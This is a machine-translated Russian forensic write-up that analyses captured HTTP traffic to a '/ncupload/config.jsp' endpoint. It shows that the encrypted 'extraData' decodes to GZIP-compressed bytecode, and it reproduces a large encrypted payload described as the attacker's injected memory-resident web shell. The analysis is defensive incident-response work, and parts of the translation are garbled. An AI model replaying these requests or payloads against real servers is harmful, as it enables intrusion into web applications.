Content-Length: 208{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8Content-Length: 290Date: Mon, 25 Jul 2022 11:16:23 GMT
Connection: close
{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p37h/TbEBuDTY/h8uggW9zZaqXH9R9/m1YziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}
POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
Content-Length: 272{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de0fad0fe6b3a09096af4f5d283d62f6adf581152788ec510921bb0f8e271590c9b847a8b3bde605fb0556665cb8df1041000d9cec2789b0f2d5cc4dc3c69ca3811"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8Content-Length: 4154Date: Mon, 25 Jul 2022 11:16:23 GMT
Connection: close
{"code":0,"data":{"suggestItems":[],"global":"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
5AIKxy1e57fHrACOQkZBwMYXKQXaFw==","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}
Лошадь памяти взаимодействует с заголовком http для изменения формата шифрования передачи.
Когда мы его передавали, мы проверили декодированные данные и обнаружили, что все они содержат 1F8B08000000.
1F8B0800000000000000CB4D2DC9C84FF14BCC4D65E2656060484F2D714A2CCE4C2EF6CC4BCB2F4E2D2ECECCCFF34C6112044A6546E6571519F8B8F85526A717A454394602006D9268393B0000001F8B0800000000000000CB4D2DC9C84FF14BCC4D656261606028492D2E0100F839225013000000
После поиска на Baidu я обнаружил, что это сжатие GZIP. Почему происходит сжатие GZIP? Согласно предыдущей передаче кода, все они являются байт-кодами.
Мы добавили декодирование GZIP и обнаружили, что трафик легко разрешается.
26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e
Декодирование 6D6574686F644E616D65020400000074657374
мы можемпотокоткрыть секрет,Анализ для каждого пакета потоков,Наконец, в относительно большом пакете потоков,Найден нормальный байт-код,То есть Лошадь памяти, импортированная злоумышленником
POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
/*
* Совет: Эта строка кода слишком длинная, и система автоматически комментирует ее, не выделяя. Один клик копировать удалит системные комментарии
* Content-Length: 47312{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"4185330a9e6684959ca14153ebb2bf603cb68867e08548f8a49d5740865db8ad7ee4c687803a94df9fbdc5e289c05860585ad7644d60f28b9f05ab580ba41389202a44761bb2f7df6ec8a9bce967a3ebca00ed48d5144b81c945a37c5eaa8faa83e6d382701b0fe53b03a15c426a3940ef08489117833793d6e843f9fa5969557f92cf2759672b3507e301fddba98d451858000bd0576a949d5bd618a4a506cf2c1d77c03160aeda6e15dea50598eb2ef6d85d1d62cb8695ee312930896e4718b3eaa2a93a9b40f445c1eeeeec7eca5213cba64fa87018b82c33f9121722d983637c0eb0ac7ed86cf908c92e672ecc6bbbc579fc3df2945257498bb318eb101ea2721d56c40b74296e2d40f27765c32e7143e01dc13d417bb31ad03448f60289af7c681114fea5b6081bcfdaa635e8d0ee1eaa84a39f14a061358f6ad0cc64f64b983f87c551ad7a74abd07de4cfe466ea645f6d293be7c0d0e7f8dec3a4dc2d04d860d0e1b9b6a74e3c8b3fa012345ba1c475e32dd8ec43f361b370366597cd0c573166e0b305eaed560a70bb20618e7b15286822c36bc5327ebc89bce03165b3ac5a7b7aa56422c240874fda6be6cb21e0d2feeeb6c9a341b46697bef5a8f0f5f314876eb6228de66526117558ec45e02df595efec10a56e12c06722bbecd29dfe761f79073c6a209fb89a3a4674b79e53db1d345e065fb58318973d6eefb8518b1d197577675e067dfb6e7ab44a72600cf761299d473752d14c1afd70ce0551f05860a3774a09dd3324815d364b9366e1e1e55b547be0c9f4f9b15c6c3883ee187431ffbb3a9b0d8c9b9977a1e3aece48cc8a21b43c032542f393ee7667f778b04dff823e70813589e06bdf9b4ff88309b59a8e738d88fdb23bf0f542e9e8b32bbd6b07971212b043d3740927a5204232f93046d66207a86e6ad964ff8e947c857e22ad0979dce02b0bde140fa2f49604fca48d3576b88e6691360089ad4c4fbf0ce969757447e1d616066bc75135fa59e27bde6629bb43fd4cecf3970d4989d4f0bda252ecede59b1f2ca4791d136fd7dbc7c2bdba8215d4bb4ffcc4533b1d7ebfb4d22e15baf8ba277c54080711c314adb921067aa7162d34ce9b7a37d5b94ee4ae9325aa2beeebd990da033ebeafc9b9b2195e350f90baeead72a8132f3970804a3e70fe1e24c15cf097f71351a736c6bd76155535f8529b297e84b04c3fe4b0ea4625f6875d00872ddec9a69f87aa53d3256a69d05d47cb37302d49dabe722a9e26d49d55814659c8fc2f5509c004b4b6e1789228076eac8fdd53dc8574bab22a4f60fe16d37c227475425e9a9fd02486fab5a36bbc3db447b38fe9f94d4ef7b3cc155f068e0c0d35e0ad763b921827674dbfde980c0766c3799a82202620b06bd8fe66d88a0833d061607d50bb0de9f0d10d3eb2e937f6bf9331a41fb2258a50cdae25c113593a6b91afb3cb42b37d3e8e02538350743690895661ec3be580931d70d250ebe3c2e0243730693b0b16b63beec3990970994b8e374e55d2f29db1fbf2d5ffc6a83e6b995ca33ad8cac2a879be0e7566c02f1d22a2a8a357a3580271f15e8f7182d158972019ad51533c777054d90c8e8a29dd026f77c01d5960c6bbe15aafd517abf1b7501a09da95f8796f2fd0247c3fbc4a8abb539e2acc5154ad741412cbcba03a33ced5d345669e10b90674bbd5497dccc829a9567df055e00408ca96cd8aacca4064917b1913279f67d25f61b357ba55b8ebfa2583bd500735f9bcab6d35868e2a9f2255818c9ec550a9ac50c3e397ccc2d9211954a2166d09de389bed191af913d40e2e7249cdcc24337060c80e643164484c3430bc8b1383c34bdc610833d8e2c048ea7c99605b8ec4581f286260b3221b2016547c07b54487315f4a026420f81e3e95b399c876f6d4f2a493f8e078421a52f3edd9dfe15afd278dee26cea6ead4ba96a89dc6ab9ffd8d374ecc4c7f517b2612d0ceef638344e3a4ae4906cc8e46d30e6f4edc6711d3cfb6841cca223164b739e12dd226454f6ed9574ada1d33631a5e7064300fe8a620155e79b7f6e11abd658bc30ed52361a5730c12a639b3ca29062efbaceb350953c927ffb57421fdb66b8bc30ed52361a5730c12a639b3ca2906307d1d39f630b0ce760e0ae2c5b60da262df4707e252171d3a7b328290a67c83b9f110070aee503b88ad2c465db94c7069795550cfb2aa200753f69702aa4a7055b024214ad5df4d5e60b457ccfac45ca5f529731ca37f3eb203191a65e0ebbe19a99d109496aa0f3521a75a3f69b8b91de7e2d46139a1154a0781ca89883ffd274f523c65cc463d6f1fc1b8269cba6fed697693513238ffbedff78af8bdd02848cb5aaf9c1cd67ba1acae9eafee634fd3a1fca43be86ad049b82283dcb46b5ecec0167a26980834ed0a6e7fc1a7137690911c14555c0e0318a5c9084b4b380a849fd4a5cca28c8cbef495417a6677893be580931d70d250ebe3c2e024373069be4de701e0c8b245a1ee8bae582809cc5b59e06be1031f1378f8a902a5e6b7ef1e4b9344b9271138d32af35918b869450d77ea7a3b4480332ccf428dd8ef5b7efd3c8ffef09fec06800ed6ca8749e47e8ddf007d5a115e238f436fa881e36868dde7b2691f8e7d927debe3f01b047670ec28ec8576bb55c889dcfb6c8e4e250785b8fa96108189540725d34d8905d1cd72bf098421422a43e1ef6969368c03f172aa1b03c9c7b8ae2d462e4e1e10b48e5ac305d5a70380b335d093426e9b51769e182790451ccdbf8a24d3474cbe577a0c4b672fb50f24562120e8233249bb749404532f168f31def0aebb8152d8330187fcfa686f1ca8562557047efe43dc542c1d77c03160aeda6e15dea50598eb2e42a74ebf8e543589ec0a6dfb47d436b6c00a31a4e23525fba26b6a9a8828c91adfc76a5446a367d265b723ab35432bd9ed1cdc5803373b871a82c92c3574d3468b3d6f4581a732e542e63042ffb009bb1cf33a6bec737fc5ecd91c59ca74e189990e94a515dd92829c66c0282b1296031bfa7cf9f0b4ce10f318dac38803ad4e5e37836c41314605dad0f100f48c540b001086a0e7daae03350e89a1d46d69c76b5a98fec61240a525ff6c483f7cc96cbd7e898ebab71c4a2e1c7a1aa6c89a7efdf55557dca7e663961f9e2502a8cdfe7922818d66b542f5f2e7a1d83331b40edb7f1de75061fe24b2067bd7a965bcd1f7c3e1d1a47f3e43ef6715cfa2bae6f0384ba1142cd6c9786e4a5061459a52d2b64edefbff37f5ce216448277dab4cf89569d5f351ded71e063c67898e40a2366b06c1d3dfd658485f71defddbd3d5b85e51aef04921ff80f030980669b13ccbd40316ec35e158d983cc37dd567fbd3a28a0c63ea7828cb0323d730aee68a0ec4005317a9b2146bfe0b682dd244e6267ddff1d227ce71fe677819a2107246e5500edb8ef653e20a9041065ed1b5dbce58ba85c9fdad45957ad326589849d982e389a086f2b5f22c5a2a1a23e4312c121c96a4005a70545bdac9a4bbd9f5827c12c06511a7819133b2d2477b6db12f7f4dd9729fa95ece70417e79461d38645cd3c2ace3dae14b6738fe1844dd430969543404c8355c6b88c27e2cd2735ccaff37cd12c34ea6994fc7f826519fdaf2b2a5a9cacf0aadd72026b350aef04b165f2778f295fdbc622f3265211cac3c9fc14fb5e49b8d7025114df279ad03ea3ce79b1e03927f8ff46ca5c96edc9412b11d161c7737a1cf9c4658bb04db4cb313248f5354e0d8b231b824cca78886e4162a5ae9720eb9a3e25d490c90ff1a25c51d89b920088a1fabca4fe0fa72380396456feab046d069bf5858782c1ab7f9df68560e48f7642e9d4865397f6b1ee0775ffea9fc0e41b6684fb71ef665fab1170abb184b5faf4b0ef3a3c48561fbd857c423b8cf063dd8f0fbf9928a9234e4cbd355d98c86a71be5ea834b07938559251453969e22d47896e5fffb3881b64fd0edc1f6d0780dbda020ee23cb93d8f4915ccd537bac95bf9fa58ce70d2b566f2fc38a5297c067ea709bb21688cc6070b86f2fd9c8d0e69df7307b66f66f1d964004b56ab906b225b78249feaa4ca7d0e2281adc14b94ae071724d67bc151a049376e13169ca254a53bebc4f6fa7a070c8d33b01f78ef2cc792713ecc8b31db3cf9657e6f824ea3e62781be3439e8f2f467264e786977956bc8eb8aa0410ec4c2e92866cfa7daf4489c03941f76b97f58957a91432e56ce0c8312feca034775cc360c712a44b66a1ff6d9427f6b462bf5877ec82d19828a28d4304a1f75542afa4cd01d3335fd7f54a2497c000892f2edd61cf8cf6b831335dda677d40d5416c717f953cd03fdf8b3b97d4330787bae19161353ae6d56fb748d8c8fb75864701f37f14704f6ae504a4341feec90f98414c5183be580931d70d250ebe3c2e02437306941f38a635d4fccd63c1a986f783324aee1be23d3dba595837634c9756370204374eb14d3dc5abfa8f20085ce695e6b4afe20f595ddc7d7ef1752a2b51f217acc1f6ef9c2bf1a2b39830b793782ebe7d49d4640e8e5cd7ce4e177e419409532bb3fe4b0ea4625f6875d00872ddec9a69fdb226771f7f6a17628968f462f16d213dbae293f17d4ba43aa47a2abb2b82bdc5406f58b0b1871ca99b057d27961ded01927f24b73228d20a7b8434713ac7654118792b5f2a3e2b015448d85a3ebba4219dfb91ba8b3f2f25c1b3950b0b596bac6f80e0bd7204fee345653d5a6be81df69795550cfb2aa200753f69702aa4a70cfb9f4b624bf952d20e93f640fee64413b7b94a9ab89e6dccf32c9cb0f93c2b4d1870fc145ad68371287781b56fad23bebdb885c3fe78c475aeb69af6f658ae914957e11dcf00aad39a6f5b645836624598efe0398b9a4e494a575e86eee0c3e31e3601c5bd6291a955bb917310b15916670ad67a330324162da31e138c926ae7fe3bf5fedf7e71233f75db5b70f1f7941ce93dafd21ae94a7501af83873c50229411e9bfd3531958833257b8cbdfc2f9f36c21aecc13a9d95e1ad07b45e5234dfa72850035463ee36528f1c9290784ee26833fee11a527c5b70d61ff7c220083282e7a1c3d97b0fe6566e176503030d1059445631c5a77b5766896fb0fa84bfac8a051c49653f6fe38ce681cdb81e53931e6373143958bc83647a44c1d1e67d6534f8e8e371f57f5bc11131c9fcd6f096523a2ad3444f890a779c8a2bd0e894ecc9e12a4e22719ab2f7ccb6f3b3e30328f689b32582bd3c64520f823788f2ecef65af804be8fd622d29961f681f2c91c2deefcf789346b812711949f1c092f19b569c4a04a6f6c8ad1e4b4bc47c2b2237bc93eb221a552e171573143eb36e27de9fa33e7ec94ade8762d2fbce59096170475bd0339161d305e0fcef615caeec8ff69de8e4868733721e28ca55847007b12fab0020aa4b148d5937bebdf17d4c10ec055ad1f2b031039028329be4ce5add7d6cd77887d4e9af1201c12e9a27cc64db857f49345f28fd6bc680fea95845a100c02645af06541eece0f4c342cee4f2a90eb8bca9dd31e14f8e7cf4dca60d978c63c921a7911cad1a6daff744bccb612283acb705defb2a5c3cca6744f93130ea32334a71b23578c45d844dd7ae90c4ac252b9487e354384352ca12f09056bfdfdf39b7b4e3a98e8c900a8b6d85be2cf329abaa5450f0b235d624e0aae1a8f19af5bebb5ae7d7f9ccb895fcbf5889a97f7341e4e47bb941a034d00b28f6b3e4425f93151db1aba7a2abb8c7a01307bb4a88f3c27f5d09aeba01d3b3e0acb746b0de6eae287b7b3f7f41f507721dc5737bce02d2df6fa4686ee77765a2a63d3d7c19eb4fbc50bad9bfd0f244f19176e345df36967bd14effd4104981b846c23c6d85415c865025adb1db1778147363b1d6ffe7b016fa61204718f06bbde2cfdb499c292105d81bcc25b2d08f245801ff59df25dfb42a9d0c2e25a93443e14f8bc30ed52361a5730c12a639b3ca290615727c4e892b1e797a9d9fb6a6501b0b9fb1cf91979975951cf84798d43c73e754678d40e2b14904ffdbecee122fec5274e0d61d0a5c1f496b29c485614338568bc30ed52361a5730c12a639b3ca2906c70ac2fc78673125867b9ac63fa04eb6448f8d478945482bafc7a77ff6dc5877be60f90a79d93020c58bacbb8e1108902b33dd52592b6c7c3dcba6bec8c1ba2f01efbb75c9809394f059b2c43bb31f766ca710583ed06a53b8c9cda46bfc905e13dfe46398e79d0643a1c91812fb04e1cccfdc465e81d168f99ef3f345c09ca4dde4c3b37174a9e004b1fb1393fdb77aa5c528e41b30bf7d533f93d747dfdf2c6d8630560c54c9ddc850cd15938551af8a75a46a6fcd065d64021af713dab0c25dbaf55b6ed849d3a82888a2cfb0390e6ddefc31f575a3b7f0b9c099cb39a2fe3070b4b578fc93069293243fecdf52bd9b20dd75e50dbd2723e828863dee27d648cb5aaf9c1cd67ba1acae9eafee634f5237394fb2be0fb6d9362116e2e9d2778d02a57a45672bb29f69bc05a7d6c24c824deaf39c5c89e4c11b419fc07dd6148d1d1b319aeb7a37a3d8b5a845001c23417be44443ef7c4429976cfceb93b9fed1a460c33d3e5a830f231efbf719e70c62b95a98c1fc96812df269f5703e8b9f1c227ad1535cfe5f410c9124e6b51dbac27e5565d24805b5cea1a42f2dcf445a97847521d47dd237a98d005d32d303326e4df3572e7f7b1c66c4c94d890a565fd23cffde99a8f1e404043c221e4d1a16668bc985c7970931d0596dc745be04bf5b60123c77e7ee75c3f276f1f747439634b041da8b774f6a434057fd1f7160e11f030c365c80984b54d33592776fb9fbbcb7532783535a9e987a587aed2b0b9198367f96019b2f30a88419c8854ea01131f1f0b6a142858b2622d1dd42a0c94e1bdc43312c913419b1bf33763b1f22c65895f72403a6934b9e5f76b80e6dd1c477df564661467b261c995b444b91638c2e2eb1d86839881ceb4181307644843e7d6603b43d4d99a508d8006bcc7a8fe991c86461d3eb83856bdfd1f62af13ad0d7c8bdd825cbc18b2da1815c462f22b4b02e2c8d155b597e931dc8bb73ada730541df773bd09daa94f027c95fdd7c20bf81701e8dcf6f56e19df385a4e1a11ca09fbed893edc5565f511698b7699e1ce7ae0808d688f72fab395588f9a6cdaf343ffaf28e567e4e4b522cdc049dc967e462919969fb3ab1545a37cdd65db7f5e55ee9e725ba8eafb397ef7f0cfccbfd9ecd77121f923fa0e96aa7cca3e7c468af96ae4e885a4d55684c22ee09bf55928c6f8a4586524ec5e86abcf9dc9ccc070b3cf2e1bd7a96451c9db07b508e38a997903500da4131d649664503399f92995071e715265636b188306c404457de80680de7daeeb3a60b2fe72a967df57771faf582bd4da954e9330b80b6884825c944fc92e66c48fbb3aa8084ef1b9f884defc1de48c74ddc0c1dec8de843eff59ca382fdd3cd15c1af94625ae37e30ca33c706ad1a5faec9d001987ee2175053150795fd23fc0b6bd69b239c3156bbb5774652778400d8207172d2abf0c3f5009064bd210b8a91c67675b44f0001b9e88f555847acc0a75fc691c11c0f2bded2807e32e08924272d2d1fcda2f44982ba1caad11ee85910bae2b5de4106bf8334980d929029065eb5f92a4b2525eefca629f115b83f66ca002aeafd3c6fc31ce2529df84868bfd02a0fd678dc6597c4254e53ec0fcd172c6ac20f4200044f8c4ad25db769134eb29241e7b5c0a0ebcbce130d2a72b86bc3d9955ea3df8d5889a3805e2024441f522a85e8f0388792700639a99af7f1ba17f2c81814eb64791283d3f3a7dc5ab12324eafcea1a82f87ca01a4e11c6616fca123dbc28ae95f08c4dd56df88b71910f64b77bd39a4b046f639dde594435e64489792a20f087e2523efa6fe64b5fcb9a15f124495dfa3c2b584670a2cdd36d9eb2ee711218448fe127ea69c586ea5d9d268b79ac0d108606c1f01e1a0602c1fcdb7c4539c4628ba02bf9dd5b9776c082e9db188a25bff17913085776202a0209ac4cfdfcac76dcfa8786ced2ff416d0a932eee934ba8b2dcc7f3de59f65c3123c91bd4ed41084e061d94ac064e86d5b3df2707c2e1c35bbc792943565caedd1a4a94702336206e3e041efc3a25f52fdaee61b50bfea5ca8a5639342c7e65db15392d7064c41cb9e621d03ab3d5d513d3a8f90e0746df28f3410e156116051501f74e32f830ab8e2503e17458b016e2a82e643f051abe8b380df7610e8a956de266027459b322fd0c0ba3e59b0c8af223c7573ec28e22e883797ce5c5913c8d54364b0f70da064a50b0189f7ec837de26d88a580cbec220f87454f3eaac069b43dc4a7fc534ea1d1f405cc3a4329993eecad71d4ae2b160a5dd571164785431865080ce76c9c4e7154cd2074271179c52b4b7aefed0de6a81703074106ad6df59f9602d06eae1eef6de7431a735ca090b2f48804def9f13696b40c4d09e064b3e264b44cb8e5279f5876d21ace7f1a25ed95fe5ee4c1641c2401b6a855747db8c6ccfdaf714bdb3772c0e65269ccdbcd4fc2c05ebfdafee4b4bd80e78e167257fb86b2d3bc3b58e2b0c18f55f29f33450e50f5c7ef26354acfce367c64ddb6508b238f2650777557770884861e916d1361258ea108d0e3b7fa32ee0ac852a4613e8cabe2d57fd698371b80dfdfad3e76ef7ca7a8287a80cbeea4fb824740fa69d056286efb408e5816223f89a83badf212db3a6d082413b4300d63b0f04e27c309891fbca64771edfdfaf852f37339872c29092a56ad72c7e7805f52365afc814e2ec39f90ec5ac96b3aa00cd9dfebb4469d21d0848eb4ab0db233aa6eb2ed8b937d3ac8d07fe50de5f57646307b9ab9d45d238ad9e9c717bea2c872919515c30319136989f656cc37b5e6570c5af775a98e81a831bef951df48f1b8b0c2f1002c063b16f9cf4a39f2220b36de1ba461b5f051be46338cd08df2d1965ed83b1f9f2741d9ba98989e3f2723411e99c26b06e5e72b4dfccf0630c93df11df34f930e8badc805c1f8c6bcfb7900380eb9a8e3ed0f6dfea357fc4b18dec510f4348a6416958a2bd9f79f952c9dc0fa8e402e58d52d4f1fb5c8344799c46fb7489a50978a5a03cfdcb7294252ee46289c6b21db8de08af84bfb1ef8fa91106c3a126722dc73d3182a3f2e983e6b70abfa19d26ece28e500eb819ab5b3be162ce9055e7344330e9505eb8208a31b625101ec852556181eca97d0e323b95c8961db8b857ee5d12d0c56fc76d8b8b4fc13d406394368ec6f128a10fcf11edb6cfa8e56722140aab743746c4ceec0b1d2a72b86bc3d9955ea3df8d5889a38054485c9f7f975f576eec0052b03309d7eb706cbf35c2ab2492e84e15dd8db3dce8a2c9af54601ff948757bdd5a5a47208ec140413a1a9fa567493f5007bb4405d724da09f6bc47b50179233afd69923990f0854226727832a4c1f0c4ae2d2909f76f050a1c007b77cfc1016e09f7d068d569cdb89427dcf1c871cefdd4e3858b849552227495ca1e53da8871940708296841770ae3e9ae8376ad691670f2fece210c8adbacfd52b143ac4bc7c7aa85829cea1de9527151864e2f33c55bc90b7227484d372c6468c945a66864ec543bbfe63b1c85e91f1d8fdaedeb27631b9832dbd04d34e7bf3801907a56c65263414e8ebd6df878baf1d93199d4920545f78cb74b955a10b0a45cc0d2eeafa86a612d908d3985d159f6615be5403294b604ee2b1586cae493cdc4068c18a4e1cc6699ad1e2542ae6c6df64fb3b04d79b9c14dcacffc02d9de701804eb98b0a7a60d52b8920b18e1f3753b2df6785f9a1db25c2c5af58af8dd83a7afdac8a04e164349e7ac3dbfe274afd422bc0787b58457fe16168977274099bd3232e9912137ee10cbcaf118c006fcf75a905f1843e0fbff8a7930d0be5d14b705ef3b18df8a539711b1399528a20e21d785140fa7a44ae9e905b69bb5498321e5402785183e3787f34d0c2418fe2e04286cd10f779185c97b759dabef194415661239332295156c50b03e54d5e25153d50d5fbb03306125a0922a2b022f32e56ff30df24bd49c41331c1b4166f66d018014cba96708fca8f3f17120f0e9d167ab72174866ce21f169f2bd3f332dbcf29350aa69a